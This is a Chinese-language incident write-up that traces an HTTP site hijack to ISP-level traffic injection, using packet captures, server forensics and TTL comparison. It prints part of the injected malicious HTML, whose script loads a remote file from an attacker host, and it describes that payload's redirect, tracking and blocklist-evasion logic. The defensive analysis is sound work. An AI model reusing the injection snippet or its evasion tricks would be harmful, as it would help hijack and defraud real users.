HTT网站「挂马」排查
前言
本文记录了一次客户境外HTTP网站被劫持跳转非法网站的完整排查过程。从最初怀疑客户端恶意软件,到服务器全面排查,再到通过抓包分析和TTL值对比,最终锁定为ISP流量劫持。
事件起因
客户电脑微信访问搭建在境外亚马逊的http网站跳转非法网站。

可能性分析
- 服务器被黑,插入恶意代码
- 客户电脑存在恶意软件
- 客户电脑局域网ARP欺骗
- DNS、CDN污染
- 服务器机房内网ARP欺骗
初步排查
- 网站所有文件、nginx配置文件修改日期无异常;
- 网站前端没有使用外部引用;
- 本地多次模拟均未复现;
初步怀疑客户电脑有恶意软件(如部分国产压缩软件、壁纸、输入法等),或者局域网存在ARP欺骗。所以只给网站增加了SSL证书,并强制http跳转https。
复现
几天后,客户说再次出现恶意跳转,但本地仍未复现。当天睡觉前想起这件事,想着用家里的网络能不能复现出来,手机点开http链接,跳转了恶意网站,立马就排除了客户电脑存在恶意软件和客户局域网arp欺骗。赶紧开电脑抓包分析。
恶意代码的跳转是随机出现,恶意跳转状态码是200:

正常跳转状态码是301:

用 wireshark 抓包分析非法响应:

非法响应关键时间线:
23:52:11.938 → 客户端发起 HTTP GET 请求 (Host: xx.client.com)
23:52:11.982 → 服务器返回 HTTP 200 OK + 恶意脚本 (1151字节)
23:52:12.078 → 服务器返回 HTTP 301 Moved Permanently (Location: https://xx.client.com/)
| 特征 | 200响应(恶意) | 301响应(正常) |
|---|---|---|
| Server头 | 无 | nginx/1.30.1 |
| Connection | close |
keep-alive |
| Content-Length | 1041字节 | 169字节 |
| 响应内容 | 恶意JavaScript | 正常301页面 |
原因猜测
因为前面已经基本排除了网站代码和web服务存在恶意代码,所以猜测 可能是ARP欺骗:
- 同一IP返回两种不同响应:所有数据包的源IP都是
15.207.xx.59,但返回了两种完全不同的响应(200+恶意脚本 和 301+正常重定向)。 - 200响应缺少Server头:非法响应内容没有Server标识,这可能是攻击者故意隐藏自己的服务器信息。
- 响应时序异常:
23:52:11.982→ 服务器返回200 OK(恶意脚本)23:52:12.078→ 服务器又返回301(正常)- 两者间隔仅96毫秒,正常情况下服务器不会对同一个请求返回两次响应
- TCP序列号异常:从报文中可以看到,200响应和301响应的TCP序列号都是从1开始的,这表明它们可能来自不同的TCP会话,或者是被人为构造的。
我又测试了https,抓包结果一直正常。但仅代表网站代码中不存在恶意代码,不代表服务器运行的服务没有问题:比如nginx配置文件 sub_filter 可能被篡改,并只拦截了http请求。
上述证据都表明,网站请求在http跳转https之前被劫持,这时候应该深度排查:
1、服务器是否被入侵或配置中包含恶意代码
2、服务器是否存在恶意脚本或隐藏进程
3、服务器局域网内是否存在ARP欺骗
因为深夜在家,没有客户服务器的密钥,无法排查服务器。只能先分析恶意代码。这是非法响应内容:
<html><head><meta charset='UTF-8'><meta http-equiv='X-UA-Compatible' content='IE=Edge'><script id='spt'></script><script>!function(){var a=document,e=+new Date,n='d359006_111111111111111111111111M@24@0@1@0@+@k.hacker.com/sa/muten.js?
下载下来 muten.js 大体分析了下,功能如下:
- 只劫持移动端;
- 白天、夜间两套不同跳转链接池:7-22点,50%概率在两个博彩网站之间二选一跳转;22-7点,50%概率在两个色情网站之间二选一跳转(网址经常会被封,肯定会经常更换);
- 存入 Cookie 缓存,用户下次访问同一劫持链接,访问次数+1;
- 埋点上报:创建0像素iframe上传访问数据、渠道号给黑产后台https://xxx/r.html;
- 51la、cnzz访问统计;
- 域名带*则随机字符串替换,绕过域名黑名单;
无法登录服务器,便睡觉了。第二天早晨起床后,想起来手机里有服务器密钥,打开电脑想在本机和服务器同时抓包,但是未再复现。
服务器排查
到公司后,开始对服务器进行彻底排查:
- 网站文件是否被篡改、是否存在webshell
- nginx 配置文件 sub_filter 是否插入恶意script、验证Nginx包完整性
- rootkit检测(rkhunter/chkrootkit)
- 进程、隐藏进程
- LKM/eBPF 后门
- ARP缓存
- 所有用户crontab定时任务
- 系统文件、系统日志
- 所有用户和权限、登录日志、history
- 网络连接、端口、流量异常
- 内核模块和驱动
- 检查最近30天内修改的文件,md5sum校验nginx、系统文件是否篡改
- docker容器
以上排查均未发现问题,排查幽灵隐藏PID耗费了一些时间,最后确认是短生命周期正常进程在不断创建和销毁。下一步怀疑对象:
- 机房内网ARP欺骗
- ISP流量劫持
- 机房网络设备被入侵(运营商是亚马逊,机房网络设备被入侵只挂非法链接收益太低,排除)
网站未做CDN,排除CDN污染。网站第三方js或模块也可以排除,从抓包结果看,在http初响应阶段就出问题了,所以只可能是中间人攻击。
客户咬死服务器或者网站代码存在漏洞,让提供完整排查报告,整理上述材料进行自证服务器和代码安全没问题实在太繁琐、太浪费时间。既然怀疑ARP欺骗和流量劫持,那就在服务器上开启监控,等下一次恶意请求撞上,记录时间并排查问题,这样几张抓包截图就可以解释清楚。
采取措施
因为基本可以确认非服务器问题,停掉http即可解决问题,但我想找出真正原因,所以没做改动。并按照以下处理:
1. 服务器开启 arpwatch
机房HTTP ARP欺骗流程:
客户端请求 → 正常到达服务器
↓
服务器处理请求
↓
服务器返回301响应
↓
┌───────┴───────┐
↓ ↓
正常301 ARP欺骗者
响应 拦截并修改响应
↓ ↓
到达客户端 返回恶意200响应
↓ ↓
被恶意脚本覆盖 到达客户端
针对ARP欺骗,我安装了arpwatch。
2. 服务器 tcpdump 监听80端口通讯
网络流量劫持流程:
客户端 → [网络传输] → 服务器 → [网络传输] → 客户端
↑ ↑
恶意内容被注入 服务器只返回301
这个流程,可以套用前几天的新闻《浙江一女子称网购NIKE童鞋收到空鞋盒,申请退款被拒后再买同款,根据重量差异举证,获平台支持退款》。收、发快递都称重,如果收到快递异常就去查发货出库称重记录。如果发货没问题,客户收到快递重量出现异常,就可以确定中间环节出了问题。但快递有快递公司配合,可以查出哪一步出了问题。但网络请求经过多层转发,还可能跨多个国家,不好确认中间哪个环节出了问题。下面是不同ISP服务商的 Traceroute 路由追踪:
烟台联通跳到新加坡:

枣庄移动跳到香港:

天津电信跳到美国跳回国又跳到新加坡:

3. 定时任务模拟再次触发非法响应内容
写一个脚本本地运行,使用20个User-Agent,每30秒随机取一个模拟请求移动端访问,触发恶意请求后,根据时间分析服务器抓包报文。

脚本跑了两天都没有再触发恶意代码,可能当前IP没在流量劫持范围。
再次复现
在自测遥遥无期时,同事告诉我他在家也出现了恶意跳转。

那个时间段ip就几个,筛选掉国外各路大神的ip,顺利找到同事家的ip地址,开启过滤:

可以看到有两次请求:22:51:28 和 22:51:52,均返回了301,没有返回200。arpwatch没有任何异常,表明服务器局域网内不存在ARP欺骗。已经排除了所有不可能,基本可以确定是ISP流量劫持。
溯源分析
既然证明了发出的快递没有问题,客户收到的快递有异常。再次回头客户端和服务器的抓包数据,分析ttl,以便确认问题出在isp服务商。
客户端抓包TTL分析
| 响应类型 | TTL值 | 长度 | 源IP | 分析 |
|---|---|---|---|---|
| 恶意200响应 | 232 | 1191字节 | 15.207.xx.59 | 异常高TTL |
| 正常301响应 | 53 | 425字节 | 15.207.xx.59 | 正常 |
服务器端抓包TTL分析
| 响应类型 | TTL值 | 长度 | 源IP | 分析 |
|---|---|---|---|---|
| 所有301响应 | 64 | 373-459字节 | 172.31.24.232 | 正常(服务器刚发出) |
异常分析:
| TTL值 | 含义 | 正常情况 |
|---|---|---|
| 232 | 非常高,接近255 | 数据包经过的路由很少(1-2跳) |
| 53 | 正常范围 | 数据包经过约11跳路由 |
| 64 | Linux服务器默认 | 服务器刚发出的数据包 |
为什么TTL=232异常
正常路由:客户端 → 路由器 → ISP → ... → AWS → 服务器
↑
经过约11跳,TTL从64减到53
异常路由:客户端 → 路由器 → ISP劫持设备 → 直接返回恶意响应
↑
只经过2跳,TTL从255减到232(或从234减到232)
结论:恶意响应不是来自真实云服务器,而是来自一个离客户端很近的中间设备(ISP设备)。
其它个人猜测:
- 黑产不敢大批量劫持流量,会经常更换地域劫持,且就算劫持也会随机抽选终端,类似灰度测试。
- 只劫持了境外网站,没有劫持境内网站。因为大部分境外网站在国内没有运营人员,不易发现。
解决方案
停用http,只用https。